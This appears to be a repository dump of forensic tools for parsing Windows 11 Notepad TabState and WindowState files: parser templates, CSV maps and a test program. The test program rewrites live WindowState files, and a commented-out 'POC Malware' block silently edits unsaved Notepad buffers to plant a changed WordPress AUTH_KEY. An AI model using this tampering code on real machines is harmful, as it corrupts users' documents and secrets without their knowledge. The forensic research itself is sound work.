= 1, 43 | Macintosh_CR = 2, 44 | Unix_LF = 3, 45 | }; 46 | 47 | typedef struct { 48 | char Magic_Bytes[2] ; 49 | Uleb128 Sequence_Number; 50 | TypeFlag Type_Flag ; 51 | } Header; 52 | 53 | typedef struct { 54 | Uleb128 FilePathLength; 55 | wchar_t FilePath[DecodeUleb128(FilePathLength)] ; 56 | 57 | } FilePathBuffer; 58 | 59 | typedef struct { 60 | Uleb128 ContentLength; 61 | if (DecodeUleb128(ContentLength) > 0) 62 | { 63 | wchar_t Content[DecodeUleb128(ContentLength)] ; 64 | } 65 | 66 | } ContentBuffer; 67 | 68 | typedef struct { 69 | Encoding EncodingType ; 70 | CarriageType CarriageReturnType ; 71 | Uleb128 Timestamp ; 72 | ubyte FileHash[0x20] ; 73 | 74 | } Metadata; 75 | 76 | typedef struct { 77 | Uleb128 SelectionStartIndex ; 78 | Uleb128 SelectionEndIndex ; 79 | } CursorData; 80 | 81 | typedef struct { 82 | ubyte WordWrap ; 83 | ubyte RightToLeft ; 84 | ubyte ShowUnicode ; 85 | Uleb128 MoreOptions; 86 | 87 | local int x; 88 | 89 | for (x=0; x < DecodeUleb128(MoreOptions); x++) 90 | { 91 | ubyte unknown_options ; 92 | } 93 | } TabStateOptions; 94 | 95 | typedef struct { 96 | Uleb128 CursorPosition ; 97 | Uleb128 DeletionAction ; 98 | Uleb128 AdditionAction ; 99 | if (DecodeUleb128(AdditionAction) > 0) 100 | { 101 | wchar_t AddedCharacters[DecodeUleb128(AdditionAction)] ; 102 | } 103 | uint32 crc32 ; 104 | } UnsavedBufferChunk; 105 | 106 | //------------------------------------------------ 107 | // Funcs 108 | //------------------------------------------------ 109 | 110 | uint64 DecodeUleb128(Uleb128 &varint) { 111 | local uint64 val = 0; 112 | local int i; 113 | local uint64 num; 114 | for( i = 0; i < sizeof(varint); i++ ) { 115 | num = varint.bytes[i] & 0x7F; 116 | val |= num << (i * 7); 117 | } 118 | return val; 119 | } 120 | 121 | string Uleb128ValueToStr(Uleb128 &varint) { 122 | return Str("%Lu", DecodeUleb128(varint)); 123 | } 124 | 125 | //------------------------------------------------ 126 | // File 127 | //------------------------------------------------ 128 | 129 | Header HeaderInfo; 130 | 131 | switch (HeaderInfo.Type_Flag) 132 | { 133 | case 0: 134 | ubyte unk ; 135 | break; 136 | case 1: 137 | FilePathBuffer FilePath; 138 | Uleb128 SavedFileContentLength; 139 | Metadata FileMetaData; 140 | ubyte unk ; 141 | ubyte unk2 ; 142 | break; 143 | default: 144 | ubyte unknown ; 145 | Uleb128 BinSize ; 146 | break; 147 | } 148 | 149 | CursorData CursorPosition; 150 | TabStateOptions ConfigurationBlock; 151 | 152 | switch (HeaderInfo.Type_Flag) 153 | { 154 | case 0: 155 | case 1: 156 | ContentBuffer Content; 157 | ubyte Unsaved; 158 | break; 159 | default: 160 | break; 161 | } 162 | 163 | uint32 crc32 ; 164 | 165 | while (!FEof()) { 166 | UnsavedBufferChunk ubc; 167 | } -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser/CSVMaps.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | using CsvHelper.Configuration; 3 | 4 | namespace WindowsNotepadParser_Minimal 5 | { 6 | public sealed class NoFileMap : ClassMap 7 | { 8 | public NoFileMap() 9 | { 10 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 11 | Map(m => m.FilePathLength).Ignore(); 12 | Map(m => m.FilePath).Ignore(); 13 | Map(m => m.SavedFileContentLength).Ignore(); 14 | Map(m => m.EncodingType).Ignore(); 15 | Map(m => m.CarriageReturnType).Ignore(); 16 | Map(m => m.Timestamp).Ignore(); 17 | Map(m => m.FileHashStored).Ignore(); 18 | Map(m => m.BinSize).Ignore(); 19 | 20 | Map(m => m.FileName).Index(0); 21 | Map(m => m.SequenceNumber).Index(1); 22 | Map(m => m.TypeFlag).Index(2); 23 | Map(m => m.SelectionStartIndex).Index(3); 24 | Map(m => m.SelectionEndIndex).Index(4); 25 | Map(m => m.WordWrap).Index(5); 26 | Map(m => m.RightToLeft).Index(6); 27 | Map(m => m.ShowUnicode).Index(7); 28 | Map(m => m.OptionCount).Index(8); 29 | Map(m => m.Options).Index(9); 30 | Map(m => m.ContentLength).Index(10); 31 | Map(m => m.Content).Index(11); 32 | Map(m => m.ContentString).Index(12); 33 | Map(m => m.Unsaved).Index(13); 34 | Map(m => m.CRC32Stored).Index(14); 35 | Map(m => m.CRC32Calculated).Index(15); 36 | Map(m => m.bytes).Index(16); 37 | } 38 | } 39 | 40 | public sealed class FileMap : ClassMap 41 | { 42 | public FileMap() 43 | { 44 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 45 | 46 | Map(m => m.BinSize).Ignore(); 47 | 48 | Map(m => m.FileName).Index(0); 49 | Map(m => m.SequenceNumber).Index(1); 50 | Map(m => m.TypeFlag).Index(2); 51 | Map(m => m.FilePathLength).Index(3); 52 | Map(m => m.FilePath).Index(4); 53 | Map(m => m.SavedFileContentLength).Index(5); 54 | Map(m => m.EncodingType).Index(6); 55 | Map(m => m.CarriageReturnType).Index(7); 56 | Map(m => m.Timestamp).Index(8); 57 | Map(m => m.FileHashStored).Index(9); 58 | Map(m => m.SelectionStartIndex).Index(10); 59 | Map(m => m.SelectionEndIndex).Index(11); 60 | Map(m => m.WordWrap).Index(12); 61 | Map(m => m.RightToLeft).Index(13); 62 | Map(m => m.ShowUnicode).Index(14); 63 | Map(m => m.OptionCount).Index(15); 64 | Map(m => m.Options).Index(16); 65 | Map(m => m.ContentLength).Index(17); 66 | Map(m => m.Content).Index(18); 67 | Map(m => m.ContentString).Index(19); 68 | Map(m => m.Unsaved).Index(20); 69 | Map(m => m.CRC32Stored).Index(21); 70 | Map(m => m.CRC32Calculated).Index(22); 71 | Map(m => m.bytes).Index(23); 72 | } 73 | } 74 | 75 | public sealed class StateMap : ClassMap 76 | { 77 | public StateMap() 78 | { 79 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 80 | Map(m => m.FilePathLength).Ignore(); 81 | Map(m => m.FilePath).Ignore(); 82 | Map(m => m.SavedFileContentLength).Ignore(); 83 | Map(m => m.EncodingType).Ignore(); 84 | Map(m => m.CarriageReturnType).Ignore(); 85 | Map(m => m.Timestamp).Ignore(); 86 | Map(m => m.FileHashStored).Ignore(); 87 | Map(m => m.ContentLength).Ignore(); 88 | Map(m => m.Content).Ignore(); 89 | Map(m => m.ContentString).Ignore(); 90 | Map(m => m.Unsaved).Ignore(); 91 | 92 | Map(m => m.FileName).Index(0); 93 | Map(m => m.SequenceNumber).Index(1); 94 | Map(m => m.TypeFlag).Index(2); 95 | Map(m => m.BinSize).Index(3); 96 | Map(m => m.SelectionStartIndex).Index(4); 97 | Map(m => m.SelectionEndIndex).Index(5); 98 | Map(m => m.WordWrap).Index(6); 99 | Map(m => m.RightToLeft).Index(7); 100 | Map(m => m.ShowUnicode).Index(8); 101 | Map(m => m.OptionCount).Index(9); 102 | Map(m => m.Options).Index(10); 103 | Map(m => m.CRC32Stored).Index(11); 104 | Map(m => m.CRC32Calculated).Index(12); 105 | Map(m => m.bytes).Index(13); 106 | } 107 | } 108 | 109 | public sealed class WindowMap : ClassMap 110 | { 111 | public WindowMap() 112 | { 113 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 114 | Map(m => m.FileName).Index(0); 115 | Map(m => m.SequenceNumber).Index(1); 116 | Map(m => m.BytesToCRC).Index(2); 117 | Map(m => m.NumberTabs).Index(3); 118 | Map(m => m.TabsList).Index(4); 119 | Map(m => m.ActiveTab).Index(5); 120 | Map(m => m.TopLeftCoords.X).Name("TopLeftCoords-X").Index(6); 121 | Map(m => m.TopLeftCoords.Y).Name("TopLeftCoords-Y").Index(7); 122 | Map(m => m.BottomRightCoords.X).Name("BottomRightCoords-X").Index(8); 123 | Map(m => m.BottomRightCoords.Y).Name("BottomRightCoords-Y").Index(9); 124 | Map(m => m.WindowSize.X).Name("WindowSize-X").Index(10); 125 | Map(m => m.WindowSize.Y).Name("WindowSize-Y").Index(11); 126 | Map(m => m.CRC32Stored).Index(12); 127 | Map(m => m.CRC32Calculated).Index(13); 128 | Map(m => m.bytes).Index(14); 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser-Minimal/CSVMaps.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | using CsvHelper.Configuration; 3 | 4 | namespace WindowsNotepadParser_Minimal 5 | { 6 | public sealed class NoFileMap : ClassMap 7 | { 8 | public NoFileMap() 9 | { 10 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 11 | Map(m => m.FilePathLength).Ignore(); 12 | Map(m => m.FilePath).Ignore(); 13 | Map(m => m.SavedFileContentLength).Ignore(); 14 | Map(m => m.EncodingType).Ignore(); 15 | Map(m => m.CarriageReturnType).Ignore(); 16 | Map(m => m.Timestamp).Ignore(); 17 | Map(m => m.FileHashStored).Ignore(); 18 | Map(m => m.BinSize).Ignore(); 19 | 20 | Map(m => m.FileName).Index(0); 21 | Map(m => m.SequenceNumber).Index(1); 22 | Map(m => m.TypeFlag).Index(2); 23 | Map(m => m.SelectionStartIndex).Index(3); 24 | Map(m => m.SelectionEndIndex).Index(4); 25 | Map(m => m.WordWrap).Index(5); 26 | Map(m => m.RightToLeft).Index(6); 27 | Map(m => m.ShowUnicode).Index(7); 28 | Map(m => m.OptionCount).Index(8); 29 | Map(m => m.Options).Index(9); 30 | Map(m => m.ContentLength).Index(10); 31 | Map(m => m.Content).Index(11); 32 | Map(m => m.ContentString).Index(12); 33 | Map(m => m.Unsaved).Index(13); 34 | Map(m => m.CRC32Stored).Index(14); 35 | Map(m => m.CRC32Calculated).Index(15); 36 | Map(m => m.bytes).Index(16); 37 | } 38 | } 39 | 40 | public sealed class FileMap : ClassMap 41 | { 42 | public FileMap() 43 | { 44 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 45 | 46 | Map(m => m.BinSize).Ignore(); 47 | 48 | Map(m => m.FileName).Index(0); 49 | Map(m => m.SequenceNumber).Index(1); 50 | Map(m => m.TypeFlag).Index(2); 51 | Map(m => m.FilePathLength).Index(3); 52 | Map(m => m.FilePath).Index(4); 53 | Map(m => m.SavedFileContentLength).Index(5); 54 | Map(m => m.EncodingType).Index(6); 55 | Map(m => m.CarriageReturnType).Index(7); 56 | Map(m => m.Timestamp).Index(8); 57 | Map(m => m.FileHashStored).Index(9); 58 | Map(m => m.SelectionStartIndex).Index(10); 59 | Map(m => m.SelectionEndIndex).Index(11); 60 | Map(m => m.WordWrap).Index(12); 61 | Map(m => m.RightToLeft).Index(13); 62 | Map(m => m.ShowUnicode).Index(14); 63 | Map(m => m.OptionCount).Index(15); 64 | Map(m => m.Options).Index(16); 65 | Map(m => m.ContentLength).Index(17); 66 | Map(m => m.Content).Index(18); 67 | Map(m => m.ContentString).Index(19); 68 | Map(m => m.Unsaved).Index(20); 69 | Map(m => m.CRC32Stored).Index(21); 70 | Map(m => m.CRC32Calculated).Index(22); 71 | Map(m => m.bytes).Index(23); 72 | } 73 | } 74 | 75 | public sealed class StateMap : ClassMap 76 | { 77 | public StateMap() 78 | { 79 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 80 | Map(m => m.FilePathLength).Ignore(); 81 | Map(m => m.FilePath).Ignore(); 82 | Map(m => m.SavedFileContentLength).Ignore(); 83 | Map(m => m.EncodingType).Ignore(); 84 | Map(m => m.CarriageReturnType).Ignore(); 85 | Map(m => m.Timestamp).Ignore(); 86 | Map(m => m.FileHashStored).Ignore(); 87 | Map(m => m.ContentLength).Ignore(); 88 | Map(m => m.Content).Ignore(); 89 | Map(m => m.ContentString).Ignore(); 90 | Map(m => m.Unsaved).Ignore(); 91 | 92 | Map(m => m.FileName).Index(0); 93 | Map(m => m.SequenceNumber).Index(1); 94 | Map(m => m.TypeFlag).Index(2); 95 | Map(m => m.BinSize).Index(3); 96 | Map(m => m.SelectionStartIndex).Index(4); 97 | Map(m => m.SelectionEndIndex).Index(5); 98 | Map(m => m.WordWrap).Index(6); 99 | Map(m => m.RightToLeft).Index(7); 100 | Map(m => m.ShowUnicode).Index(8); 101 | Map(m => m.OptionCount).Index(9); 102 | Map(m => m.Options).Index(10); 103 | Map(m => m.CRC32Stored).Index(11); 104 | Map(m => m.CRC32Calculated).Index(12); 105 | Map(m => m.bytes).Index(13); 106 | } 107 | } 108 | 109 | public sealed class WindowMap : ClassMap 110 | { 111 | public WindowMap() 112 | { 113 | AutoMap(System.Globalization.CultureInfo.InvariantCulture); 114 | Map(m => m.FileName).Index(0); 115 | Map(m => m.SequenceNumber).Index(1); 116 | Map(m => m.BytesToCRC).Index(2); 117 | Map(m => m.NumberTabs).Index(3); 118 | Map(m => m.TabsList).Index(4); 119 | Map(m => m.ActiveTab).Index(5); 120 | Map(m => m.TopLeftCoords.X).Name("TopLeftCoords-X").Index(6); 121 | Map(m => m.TopLeftCoords.Y).Name("TopLeftCoords-Y").Index(7); 122 | Map(m => m.BottomRightCoords.X).Name("BottomRightCoords-X").Index(8); 123 | Map(m => m.BottomRightCoords.Y).Name("BottomRightCoords-Y").Index(9); 124 | Map(m => m.WindowSize.X).Name("WindowSize-X").Index(10); 125 | Map(m => m.WindowSize.Y).Name("WindowSize-Y").Index(11); 126 | Map(m => m.CRC32Stored).Index(12); 127 | Map(m => m.CRC32Calculated).Index(13); 128 | Map(m => m.bytes).Index(14); 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/Program.cs: -------------------------------------------------------------------------------- 1 | // See https://aka.ms/new-console-template for more information 2 | using NotepadStateLibrary; 3 | using System.Diagnostics; 4 | using System.Formats.Asn1; 5 | using System.Globalization; 6 | using System.Text; 7 | 8 | Console.WriteLine("********** Starting *********"); 9 | 10 | 11 | string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 12 | 13 | foreach (var path in Directory.EnumerateFiles(folder, "*.bin")) 14 | { 15 | byte[] o = new byte[0]; 16 | 17 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) 18 | { 19 | byte[] data = new byte[fileStream.Length]; 20 | fileStream.Read(data); 21 | 22 | if (data.Length > 0) 23 | { 24 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path)); 25 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path)); 26 | 27 | List curList = new List(); 28 | foreach (var b in np.Tabs) 29 | { 30 | curList.Add(new Guid(b)); 31 | } 32 | 33 | string addGuid = "66e70d99-c296-44e0-bd96-b2a190f6173b"; 34 | curList.Add(new Guid(addGuid)); 35 | 36 | List newList = new List(); 37 | foreach (var g in curList) 38 | { 39 | newList.Add(g.ToByteArray()); 40 | } 41 | 42 | np.WriteTabList(newList); 43 | 44 | o = np.bytes; 45 | } 46 | } 47 | File.WriteAllBytes(path, o); 48 | } 49 | 50 | 51 | 52 | //https://www.mking.net/blog/programmatically-determining-whether-a-windows-user-is-idle 53 | 54 | //https://www.fluxbytes.com/csharp/how-to-know-if-a-process-exited-or-started-using-events-in-c/ 55 | 56 | //POC Malware. 57 | //Poll for Notepad to open 58 | //Poll for a specific file to be opened by filename 59 | //Poll for that file to be set to Unsaved 60 | //Check for inactivity timer 61 | //Make change 62 | //Profit??? 63 | 64 | #region malware 65 | //bool wasOpen = false; 66 | 67 | //if (Process.GetProcessesByName("notepad").Length > 0) 68 | //{ 69 | // wasOpen = true; 70 | // foreach (var p in Process.GetProcessesByName("notepad")) 71 | // { 72 | // p.CloseMainWindow(); 73 | // p.Close(); 74 | // } 75 | //} 76 | 77 | //string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); 78 | 79 | //foreach (var path in Directory.EnumerateFiles(folder, "*.bin")) 80 | //{ 81 | // byte[] o = new byte[0]; 82 | 83 | // using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) 84 | // { 85 | // byte[] data = new byte[fileStream.Length]; 86 | // fileStream.Read(data); 87 | 88 | // if (data.Length > 0) 89 | // { 90 | // Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path)); 91 | // NPTabState np = new NPTabState(data, Path.GetFileName(path)); 92 | 93 | 94 | // if (np.TypeFlag <= 1) 95 | // { 96 | // //var s = np.Content; 97 | // //s[208] = 32; 98 | // //o = np.WriteContent(s); 99 | 100 | // string c = np.ContentString; 101 | // int start = c.IndexOf("define('AUTH_KEY',"); 102 | // int end = c.Substring(start).IndexOf(");") + 2; 103 | // var n = Encoding.Unicode.GetBytes(c.Remove(start, end).Insert(start, "define('AUTH_KEY', '->-&3du!!^iN|U[57nG({}6&compromisedQ-,NXiN5Uv7txxX469`8v-dCYYf,H');")); 104 | // o = np.WriteContent(n); 105 | 106 | // //File.WriteAllBytes(path, o); 107 | // } 108 | // } 109 | // } 110 | // File.WriteAllBytes(path, o); 111 | //} 112 | 113 | //if (wasOpen) 114 | //{ 115 | // Process.Start("notepad.exe"); 116 | //} 117 | #endregion 118 | 119 | //folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 120 | 121 | //foreach (var path in Directory.EnumerateFiles(folder, "*.bin")) 122 | //{ 123 | // byte[] b = File.ReadAllBytes(path); 124 | // if (b.Length > 0) 125 | // { 126 | 127 | // NPWindowState np = new NPWindowState(b, Path.GetFileName(path)); 128 | // Console.WriteLine(Path.GetFileName(path)); 129 | // Console.WriteLine(np.NumberTabs.ToString()); 130 | 131 | // if (np.CRC32Calculated.SequenceEqual(np.CRC32Stored)) 132 | // { 133 | // Console.WriteLine("OK"); 134 | // } 135 | // else 136 | // { 137 | // Console.WriteLine("FAIL"); 138 | // } 139 | // Console.WriteLine("*****************************************"); 140 | // } 141 | //} 142 | 143 | #region 144 | //NPTabState npWrite = new NPTabState(Encoding.Unicode.GetBytes("Test"), [0x0], [0x0], new List(), [0x1]); 145 | //File.WriteAllBytes("check.bin", npWrite.bytes); 146 | 147 | //NPTabState npWrite0 = new NPTabState(0, 25, 4, 4, [0x1], [0x0], [0x0]); 148 | //File.WriteAllBytes("0.bin", npWrite0.bytes); 149 | 150 | 151 | //byte[] sha = { 152 | // 0x27, 0x09, 0x60, 0x35, 0x22, 0x8A, 0xA1, 0xB4, 0x47, 0x98, 0x4D, 0x7E, 0x1D, 0xFD, 0x10, 0xB9, 153 | // 0xA8, 0x57, 0x16, 0xDA, 0x29, 0xA4, 0xEF, 0xFB, 0x65, 0x02, 0xE4, 0xA6, 0xDE, 0x26, 0x7A, 0xB3, 154 | //}; 155 | 156 | //byte[] c = { 157 | // 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x74, 0x00, 158 | // 0x65, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 159 | //}; 160 | 161 | //NPTabState npWrite1 = new NPTabState(0, [0x01], @"C:\Users\Reversing\Desktop\Test.txt", 12, [0x05], [0x01], new DateTime(2024, 4, 16, 11, 55, 24), sha, 0, 0, [0x1], [0x0], [0x0], c); 162 | //File.WriteAllBytes("saved.bin", npWrite1.bytes); 163 | #endregion 164 | 165 | //NPTabState np = new NPTabState(File.ReadAllBytes(@"C:\Users\Reversing\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\f62c642a-29ba-443a-baef-d3185c5e7910.bin")); 166 | //Console.WriteLine(Encoding.Unicode.GetString(np.Content)); 167 | //File.WriteAllBytes(@"C:\Users\Reversing\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\98c4291f-34a1-4ffe-b195-72e297d4ff60.bin",np.WriteContent(Encoding.Unicode.GetBytes("How are you?"))); 168 | 169 | 170 | Console.WriteLine("********** Completed **********"); 171 | //Console.ReadLine(); -------------------------------------------------------------------------------- /PatternFiles/Tabstate/Notepad-TabState.hexpat: -------------------------------------------------------------------------------- 1 | #pragma author ogmini https://github.com/ogmini JustArion https://github.com/JustArion 2 | #pragma description Windows 11 Notepad Tab State file 3 | // File found at %localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState 4 | #pragma magic [ 4E 50 ??] @ 0x00 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | using ul = type::uLEB128; 12 | using int = u32; 13 | using byte = u8; 14 | 15 | 16 | // https://github.com/ogmini/Notepad-Tabstate-Buffer/blob/main/README.md#insertion-chunk 17 | struct UnsavedChunk 18 | { 19 | ul CursorPosition; 20 | ul CharactersDeleted; 21 | ul CharactersAdded; 22 | char16 AddedCharacters[CharactersAdded]; 23 | byte CRC32[4] [[format("format_to_hex")]]; 24 | }; 25 | 26 | // --- Data Types --- 27 | 28 | // Default fallback is UTF-8 29 | enum EncodingTypes : byte 30 | { 31 | UTF8 = 5, 32 | UTF8BOM = 4, 33 | UTF16BE = 3, 34 | UTF16LE = 2, 35 | ANSI = 1, 36 | }; 37 | 38 | enum EOLSequenceType : byte 39 | { 40 | Windows_CRLF = 1, // Windows 41 | Mac_CR = 2, // Mac 42 | Unix_LF = 3 // Linux 43 | }; 44 | 45 | enum TypeFlag : byte 46 | { 47 | Unsaved = 0, 48 | Saved = 1, 49 | NoFileTabState = 10, 50 | FileTabState = 11 51 | }; 52 | 53 | struct Header 54 | { 55 | char Magic_Bytes[2]; // NP 56 | // https://github.com/Nordgaren/tabstate-util/issues/1#issuecomment-1988731585 57 | ul Sequence_Number; // 0 in Saved files. 58 | TypeFlag Type_Flag; 59 | }; 60 | 61 | struct SelectionInfo 62 | { 63 | ul SelectionStartIndex; 64 | ul SelectionEndIndex; 65 | }; 66 | 67 | // https://github.com/Nordgaren/tabstate-util/blob/master/TabState.bt#L48 68 | struct TabOptions 69 | { 70 | byte WordWrap; 71 | byte RightToLeft; 72 | byte ShowUnicode; 73 | ul MoreOptions; 74 | byte unknown_options[MoreOptions]; 75 | }; 76 | 77 | struct SavedFileInfo 78 | { 79 | ul FilePathLength; 80 | char16 SavedFilePath[FilePathLength]; 81 | ul ContentLength; 82 | EncodingTypes EncodingType; 83 | EOLSequenceType CarriageReturnType; 84 | //ul FileTime [[comment("18-digit Win32 FILETIME")]]; 85 | ul Timestamp [[format("filetime_to_local"),comment("18-digit Win32 FILETIME")]] ; 86 | byte FileHash[32] [[format("format_to_hex")]]; 87 | }; 88 | 89 | struct NotepadTab 90 | { 91 | Header HeaderInfo; 92 | 93 | if (HeaderInfo.Type_Flag == 0) 94 | { 95 | byte unk [[comment("Appears to always be 0x1")]]; 96 | } 97 | else if (HeaderInfo.Type_Flag == 1) 98 | { 99 | SavedFileInfo FileInfo; 100 | 101 | byte unk[2] [[comment("Appears to always be 0x0 0x1")]]; 102 | } 103 | else 104 | { 105 | //state file 106 | byte unk; 107 | ul BinSize [[comment("Size in bytes of the associated *.bin")]]; 108 | } 109 | 110 | SelectionInfo CursorPosition; 111 | TabOptions ConfigurationBlock; 112 | 113 | if (HeaderInfo.Type_Flag == 0) 114 | { 115 | ul ContentLength; 116 | char16 Content[ContentLength]; 117 | bool Unsaved; 118 | } 119 | else if (HeaderInfo.Type_Flag == 1) 120 | { 121 | ul ContentLength; 122 | char16 Content[ContentLength]; 123 | bool Unsaved; 124 | } 125 | else 126 | { 127 | } 128 | 129 | byte CRC32[4] [[format("format_to_hex"),comment("CRC32 of .bin")]]; 130 | 131 | // 132 | UnsavedChunk Chunks[while(!std::mem::eof())]; 133 | }; 134 | 135 | // --- Functions --- 136 | 137 | 138 | 139 | fn filetime_to_local(ul time) 140 | { 141 | int epoch = std::time::filetime_to_unix(time); 142 | return std::time::format(std::time::to_local(epoch), "%Y-%m-%d | %H:%M:%S"); 143 | }; 144 | 145 | fn format_to_hex(auto data) 146 | { 147 | int length = std::core::member_count(data); 148 | str result; 149 | for(int i = 0, i < length, i = i+1) 150 | { 151 | result = result + std::format("{:X}", u8(data[i])); 152 | } 153 | return result; 154 | }; 155 | 156 | // -- Declaration -- 157 | 158 | NotepadTab TabState @ 0x0; 159 | 160 | // -- Presentation -- 161 | 162 | if (TabState.HeaderInfo.Type_Flag == 0) 163 | { 164 | str formattedFileTime = filetime_to_local(TabState.FileInfo.Timestamp); 165 | 166 | std::print("Cursor Position: {0}", TabState.CursorPosition.SelectionStartIndex); 167 | 168 | std::print("ConfigurationBlock{0}", TabState.ConfigurationBlock); 169 | 170 | if (TabState.CursorPosition.SelectionStartIndex != TabState.CursorPosition.SelectionEndIndex) 171 | { 172 | std::print("Selection End Index: {0}", TabState.CursorInfo.SelectionEndIndex); 173 | str slice = std::string::substr(std::string::to_string(TabState.Content), TabState.CursorInfo.SelectionStartIndex, TabState.CursorInfo.SelectionEndIndex - TabState.CursorInfo.SelectionStartIndex); 174 | std::print("Selected Text: {0}", slice); 175 | } 176 | 177 | std::print("Content: {0}", TabState.Content); 178 | 179 | // -- Output any unsaved buffer chunks -- 180 | std::print("\nUnsaved Buffer Chunks\n------"); 181 | 182 | std::print("Chunks:\n{0}", TabState.Chunks); 183 | 184 | // -- Print Unknowns -- 185 | std::print("\nUnknowns\n------"); 186 | 187 | std::print("unk: {0}", TabState.unk); 188 | std::print("Unknown ConfigurationBlockOption: {0}\n", TabState.ConfigurationBlock.MoreOptions); 189 | } 190 | else if (TabState.HeaderInfo.Type_Flag == 1) 191 | { 192 | str formattedFileTime = filetime_to_local(TabState.FileInfo.Timestamp); 193 | 194 | std::print("Encoding Type: {0}", std::string::to_string(TabState.FileInfo.EncodingType)); 195 | std::print("Line Carriage Type: {0}", std::string::to_string(TabState.FileInfo.CarriageReturnType)); 196 | std::print("File: {0}", TabState.FileInfo.SavedFilePath); 197 | std::print("Saved at " + formattedFileTime); 198 | std::print("FileHash{0}", format_to_hex(TabState.FileInfo.FileHash)); 199 | 200 | std::print("Cursor Position: {0}", TabState.CursorPosition.SelectionStartIndex); 201 | 202 | std::print("ConfigurationBlock{0}", TabState.ConfigurationBlock); 203 | 204 | if (TabState.CursorPosition.SelectionStartIndex != TabState.CursorPosition.SelectionEndIndex) 205 | { 206 | std::print("Selection End Index: {0}", TabState.CursorInfo.SelectionEndIndex); 207 | str slice = std::string::substr(std::string::to_string(TabState.Content), TabState.CursorInfo.SelectionStartIndex, TabState.CursorInfo.SelectionEndIndex - TabState.CursorInfo.SelectionStartIndex); 208 | std::print("Selected Text: {0}", slice); 209 | } 210 | 211 | std::print("Content: {0}", TabState.Content); 212 | 213 | 214 | // -- Output any unsaved buffer chunks -- 215 | std::print("\nUnsaved Buffer Chunks\n------"); 216 | 217 | std::print("Chunks:\n{0}", TabState.Chunks); 218 | 219 | // -- Print Unknowns -- 220 | std::print("\nUnknowns\n------"); 221 | 222 | std::print("unk: {0}", TabState.unk); 223 | std::print("Unknown ConfigurationBlockOption: {0}\n", TabState.ConfigurationBlock.MoreOptions); 224 | } 225 | else 226 | { 227 | 228 | } 229 | 230 | 231 | std::print("CRC32: {0}", format_to_hex(TabState.CRC32)); 232 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 